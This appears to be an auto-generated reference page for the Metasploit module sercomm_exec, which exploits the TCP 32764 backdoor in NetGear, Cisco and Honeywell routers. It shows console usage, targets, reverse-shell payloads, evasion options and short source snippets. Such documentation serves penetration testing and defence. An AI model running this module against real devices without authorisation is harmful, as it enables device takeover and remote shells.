SerComm Device Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/misc/sercomm_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: SerComm Device Remote Code Execution
Module: exploit/linux/misc/sercomm_exec
Source code: modules/exploits/linux/misc/sercomm_exec.rb
Disclosure date: 2013-12-31
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): 32764
List of CVEs: -
This module will cause remote code execution on several SerComm devices. These devices typically include routers from NetGear and Linksys. This module was tested successfully against several NetGear, Honeywell and Cisco devices.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/misc/sercomm_exec
msf exploit(sercomm_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the linux/misc/sercomm_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/misc/sercomm_exec
[*] No payload configured, defaulting to linux/mipsbe/meterpreter/reverse_tcp
msf6 exploit(linux/misc/sercomm_exec) > show info
Name: SerComm Device Remote Code Execution
Module: exploit/linux/misc/sercomm_exec
Platform: Linux
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2013-12-31
Provided by:
Eloi Vanderbeken <[email protected]>
Matt "hostess" Andreko <[email protected]>
Available targets:
Id Name
-- ----
0 Generic Linux MIPS Big Endian
1 Generic Linux MIPS Little Endian
2 Manual Linux MIPS Big Endian
3 Manual Linux MIPS Little Endian
4 Cisco WAP4410N
5 Honeywell WAP-PL2 IP Camera
6 Netgear DG834
7 Netgear DG834G
8 Netgear DG834PN
9 Netgear DGN1000
10 Netgear DSG835
11 Netgear WPNT834
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 32764 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Space: 10000
Description:
This module will cause remote code execution on several SerComm
devices. These devices typically include routers from NetGear and
Linksys. This module was tested successfully against several
NetGear, Honeywell and Cisco devices.
References:
OSVDB (101653)
https://github.com/elvanderb/TCP-32764
Module Options
This is a complete list of options available in the linux/misc/sercomm_exec exploit:
msf6 exploit(linux/misc/sercomm_exec) > show options
Module options (exploit/linux/misc/sercomm_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 32764 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (linux/mipsbe/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Generic Linux MIPS Big Endian
Advanced Options
Here is a complete list of advanced options supported by the linux/misc/sercomm_exec exploit:
msf6 exploit(linux/misc/sercomm_exec) > show advanced
Module advanced options (exploit/linux/misc/sercomm_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
ENCODING hex no Payload encoding to use (Accepted: hex, octal)
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
NOARGS false no Don't use the echo -en parameters
PACKFORMAT VVV no Pack Format to use (Accepted: VVV, NNN)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
UPLOADPATH /tmp no Remote path to land the payload
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/mipsbe/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/misc/sercomm_exec module can exploit:
msf6 exploit(linux/misc/sercomm_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Generic Linux MIPS Big Endian
1 Generic Linux MIPS Little Endian
2 Manual Linux MIPS Big Endian
3 Manual Linux MIPS Little Endian
4 Cisco WAP4410N
5 Honeywell WAP-PL2 IP Camera
6 Netgear DG834
7 Netgear DG834G
8 Netgear DG834PN
9 Netgear DGN1000
10 Netgear DSG835
11 Netgear WPNT834
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/sercomm_exec exploit:
msf6 exploit(linux/misc/sercomm_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/mipsbe/exec normal No Linux Execute Command
4 payload/linux/mipsbe/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
5 payload/linux/mipsbe/reboot normal No Linux Reboot
6 payload/linux/mipsbe/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
7 payload/linux/mipsbe/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
8 payload/linux/mipsbe/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/misc/sercomm_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/misc/sercomm_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Remember you can configure Manual targets with NOARGS, UPLOADPATH, ENCODING and PACK advanced options
Here is a relevant code snippet related to the "Remember you can configure Manual targets with NOARGS, UPLOADPATH, ENCODING and PACK advanced options" error message:
149: return Msf::Exploit::CheckCode::Safe
150: end
151:
152: def exploit
153: if target.name =~ /Manual/
154: print_warning("Remember you can configure Manual targets with NOARGS, UPLOADPATH, ENCODING and PACK advanced options")
155: @no_args = datastore['NOARGS']
156: @upload_path = datastore['UPLOADPATH']
157: @encoding_format = datastore['ENCODING']
158: @pack_format = datastore['PACKFORMAT']
159: else
Connection failed: <E.CLASS>: <E>
Here is a relevant code snippet related to the "Connection failed: <E.CLASS>: <E>" error message:
184: return 'BE'
185: elsif res && res.start_with?("ScMM")
186: return 'LE'
187: end
188: rescue Rex::ConnectionError => e
189: print_error("Connection failed: #{e.class}: #{e}")
190: end
191:
192: return nil
193: end
194:
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5218 Merged Pull Request: Fix #3816 by deleting print_debug
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2872 Merged Pull Request: Have into account endianess
- #2869 Merged Pull Request: Pre-release title/desc fixes
- #2823 Merged Pull Request: Added module for Sercomm Network Device Backdoor Command Injection
References
- CVE: Not available
- OSVDB (101653)
- https://github.com/elvanderb/TCP-32764
See Also
Check also the following modules related to this module:
- auxiliary/admin/misc/sercomm_dump_config
- auxiliary/scanner/misc/sercomm_backdoor_scanner
- exploit/linux/misc/accellion_fta_mpipe2
- exploit/linux/misc/aerospike_database_udf_cmd_exec
- exploit/linux/misc/asus_infosvr_auth_bypass_exec
- exploit/linux/misc/cisco_rv340_sslvpn
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/linux/misc/gld_postfix
- exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce
- exploit/linux/misc/hikvision_rtsp_bof
- exploit/linux/misc/hp_data_protector_cmd_exec
- exploit/linux/misc/hp_jetdirect_path_traversal
- exploit/linux/misc/hplip_hpssd_exec
- exploit/linux/misc/hp_nnmi_pmd_bof
- exploit/linux/misc/hp_vsa_login_bof
- exploit/linux/misc/ib_inet_connect
- exploit/linux/misc/ib_jrd8_create_database
- exploit/linux/misc/ib_open_marker_file
- exploit/linux/misc/ib_pwd_db_aliased
- exploit/linux/misc/igel_command_injection
- exploit/linux/misc/jenkins_java_deserialize
- exploit/linux/misc/jenkins_ldap_deserialize
- exploit/linux/misc/lprng_format_string
- exploit/linux/misc/mongod_native_helper
- exploit/linux/misc/nagios_nrpe_arguments
- exploit/linux/misc/netcore_udp_53413_backdoor
- exploit/linux/misc/netsupport_manager_agent
- exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec
- exploit/linux/misc/novell_edirectory_ncp_bof
- exploit/linux/misc/opennms_java_serialize
- exploit/linux/misc/qnap_transcode_server
- exploit/linux/misc/quest_pmmasterd_bof
- exploit/linux/misc/saltstack_salt_unauth_rce
- exploit/linux/misc/tplink_archer_a7_c7_lan_rce
- exploit/linux/misc/ueb9_bpserverd
- exploit/linux/misc/zabbix_server_exec
Related Nessus plugins:
Authors
- Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>
- Matt "hostess" Andreko <mandreko[at]accuvant.com>
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
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